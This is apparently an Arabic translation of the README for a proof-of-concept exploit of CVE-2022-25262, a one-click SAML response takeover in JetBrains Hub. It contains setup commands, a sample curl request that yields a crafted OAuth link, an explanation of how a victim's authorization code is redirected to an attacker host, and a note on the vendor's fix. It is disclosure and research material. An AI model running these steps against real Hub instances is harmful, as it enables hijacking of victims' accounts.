
إثبات المفهوم + تفاصيل الثغرة الأمنية لـ CVE-2022-25262 / استيلاء على استجابة SAML بنقرة واحدة في JetBrains Hub
PoC + تفاصيل الثغرة لـ CVE-2022-25262 | استيلاء على استجابة SAML بنقرة واحدة في JetBrains Hub
التثبيت والتشغيل:
$ git clone https://github.com/yuriisanin/CVE-2022-25262
$ cd CVE-2022-25262/
$ pip3 install -r requirements.txt
$ python3 exploit.py -h
usage: exploit.py [-h] [-p P]
optional arguments:
-h, --help show this help message and exit
-p P Uvicorn port
# إذا قمت بتشغيل الأداة على الجهاز المحلي، قد تحتاج إلى استخدام Ngrok أو بدائل.
$ ngrok http 8000
الاستخدام:
معاملات الاستعلام:
| الاسم | الوصف | مطلوب |
|---|---|---|
| hub_url | عنوان URL لمثيل Hub المستهدف | ✅ |
| issuer | مُصدر SAML | ✅ |
| acs_url | عنوان URL لخدمة مستهلك التأكيد (Assertion Consumer Service) | ✅ |
| youtrack_url | عنوان URL لمثيل YouTrack المتصل بـ Hub (مطلوب إذا كان المستخدم الضيف معطلاً) | ❔ |
الحصول على رابط الاستغلال:
$ curl -v "http://{exploit-host}/get-exploit-link?hub_url=https://hub.jetbrains.com&issuer=jbs.zendesk.com&acs_url=https://jbs.zendesk.com/access/saml"
* Trying {exploit-host-ip}:80...
* Connected to {exploit-host} ({exploit-host-ip}) port 80 (#0)
> GET /get-exploit-link?hub_url=https://hub.jetbrains.com&issuer=jbs.zendesk.com&acs_url=https://jbs.zendesk.com/access/saml HTTP/1.1
> Host: {exploit-host-ip}
> User-Agent: curl/7.77.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Content-Length: 341
< Content-Type: application/json
< Date: Sat, 30 Apr 2022 19:14:45 GMT
< Server: uvicorn
<
* Connection #0 to host {exploit-host-ip} left intact
{"exploit_url":"https://hub.jetbrains.com/api/rest/oauth2/auth?client_id=fd6b45e6-4a91-4574-9fcf-ebc6926f6378&response_type=code&scope=Hub+YouTrack+TeamCity+Upsource+fd6b45e6-4a91-4574-9fcf-ebc6926f6378&state=fhdyaaf&access_type=offline&redirectURI=https://konnector.services.jetbrains.com/ring/oauth"}
عرض توضيحي:
يتكون الضعف من جزأين:
يعمل موفّر هوية SAML كامتداد لـ OAuth. عندما يريد مستخدم معين تسجيل الدخول إلى موفّر خدمة محدد، يمر عبر تدفق منح رمز التفويض OAuth (الطلبات 1-2)، وبمجرد الحصول على الرمز، يتم إعادته إلى Hub (الطلب 3). يأخذ Hub معلومات المستخدم المرتبطة بالرمز ويصدر استجابة SAML موقعة للخدمة. على الرغم من أن موفّر هوية SAML يستخدم عميل OAuth التابع لـ Hub (client_id=0-0-0-0-0) للتكامل، إلا أنه لا يتحقق نيابة عن أي عميل OAuth تم إصدار الرمز له. الشيء الوحيد المهم هنا هو ما إذا كان الرمز صالحًا. قد يؤدي ذلك إلى الاستيلاء على استجابة SAML إذا وجد المهاجم طريقة للاستيلاء على رمز التفويض من أي عميل OAuth مسجل في Hub.

YouTrack Konnector هي خدمة تابعة لجهة أولى تسمح بربط مثيل YouTrack محدد مع بوت Slack الخاص به. تأخذ الخدمة عنوان URL لمثيل YouTrack بالإضافة إلى معرف وسر عميل OAuth الخاص بـ Konnector (الطلب 1). ثم تحاول التحقق من أن عنوان URL المقدم يشير إلى مثيل YouTrack صالح عن طريق استدعاء عدة نقاط نهاية API (طلبات "المصافحة" 2-3). إذا سارت الأمور على ما يرام، سيعيد Konnector عنوان URL الذي يسمح لمستخدم محدد بالمتابعة مع تدفق منح رمز OAuth (الاستجابة 1). يحتوي عنوان URL على معامل استعلام "state" يساعد Konnector في توجيه رمز التفويض OAuth إلى المعالج المناسب (مثيل Hub). يمكن للمهاجم إنشاء مضيف بنقاط النهاية المطلوبة لـ "المصافحة" والحصول على معامل "state" يشير إلى مضيف المهاجم. بعد ذلك، يمكن للمهاجم صياغة عنوان URL لتفويض OAuth وإرساله إلى الضحية. إذا نقرت الضحية على الرابط وأكملت تدفق OAuth (يجب أن يكون لدى الضحية جلسة صالحة في Hub)، ستتلقى خدمة Konnector الرمز وترسله إلى مضيف المهاجم (الطلبات 4-6).

أضاف فريق YouTrack فحصًا يسمح باستخدام رموز التفويض الصادرة لعميل OAuth "JetBrains Hub Service" فقط أثناء عملية تبادل "OAuth2 -> SAML". وبالتالي، لا توجد طريقة لتبادل رموز التفويض الصادرة لعميل OAuth "YouTrack Konnector".